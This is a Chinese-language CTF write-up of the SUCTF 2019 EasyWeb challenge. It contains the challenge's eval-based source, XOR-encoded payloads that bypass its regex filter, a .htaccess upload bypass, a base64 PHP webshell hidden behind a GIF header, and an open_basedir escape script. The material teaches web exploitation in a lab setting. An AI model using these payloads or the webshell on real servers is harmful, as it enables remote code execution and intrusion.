<?php
function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);
?>
监制部诗人,过滤了一堆
preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)
php fuzz脚本
偷的
<?php
$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){ //遍历所有方法
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}
?>
异或绕过
正则匹配的是原始输入(未解码的字符串)
完全不会做,全程参考wp:[BUUCTF题解][SUCTF 2019]EasyWeb - Article_kelp - 博客园
偷的异或脚本
<?php
function finds($string){$index = 0;$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];for($i=27;$i<count($a);$i++){for($j=27;$j<count($a);$j++){$x = $a[$i] ^ $a[$j];for($k = 0;$k<strlen($string);$k++){if(ord($string[$k]) == $x){echo $string[$k]."\n";echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";$index++;if($index == strlen($string)){return 0;}}}}}
}
finds("_GET");
?>
?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
这里取反绕过我想起来之前做的【未完成】BUU39 [极客大挑战 2019]RCE ME1-CSDN博客
那个题是取反操作,这里是异或绕过
/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag
文件上传有几个过滤点:
- 后缀名不能是php + 格式必须是图片------>用.htaccess绕过
- 文件里面不能包含 <? ------>用base64编码绕过
.htaccess
注意这里读取的时候要用 php://filter base64解码文件内容
[GHCTF 2025]UPUPUP【.htaccess绕过 XBM/WBMP】-CSDN博客
#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=muma.jpg"
AddType application/x-httpd-php .jpg
muma.jpg
base64为4位一解码,所以需要填充两个字符
在
GIF89a
后追加66
(0x36
)不会破坏GIF格式的识别,因为:
部分检测逻辑仅检查前6字节是否符合
GIF89a
,忽略后续内容。
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==# <?php eval($_POST['cmd']);?>
文件上传用自己的页面上传
似曾相识的做法,但我死活找不到这个题在哪做的了
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://8d22cfbb-0ec0-42f4-b27f-de6d04423133.node4.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data"><label for="file">文件名:</label><input type="file" name="file" id="postedFile"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
读取到文件路径:
连接蚁剑,这里可以直接从根目录看到flag
但是大佬wp里又提到绕过之前phpinfo中看到的关于
open_basedir
和disable_function
的限制
绕过open_basedir和disable_function的限制
open_basedir
对 PHP 脚本所能访问的文件系统路径范围加以限制
open_basedir
的修改必须满足 “新路径必须是原路径的子集”
这里open_basedir设置了我们只能访问 /var/www/html 和 /tmp 目录下的内容(所以为什么上面能直接从根目录中读到flag.....?)
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
其他绕过方法
Open_basedir绕过 - LLeaves - 博客园
https://xz.aliyun.com/news/9520?time__1311=QqGhD5BIxjhD%2FGG7bD8KDOmRqIxfgASrbD&u_atoken=522c70294138a8d06cb22f08bd880c98&u_asig=1a0c384b17432118262584357e0047
<?php
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
//ini_set() 是 PHP 中的一个内置函数,其用途是在运行时对 PHP 配置选项的值进行修改
//正常是在php.ini中修改
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
?>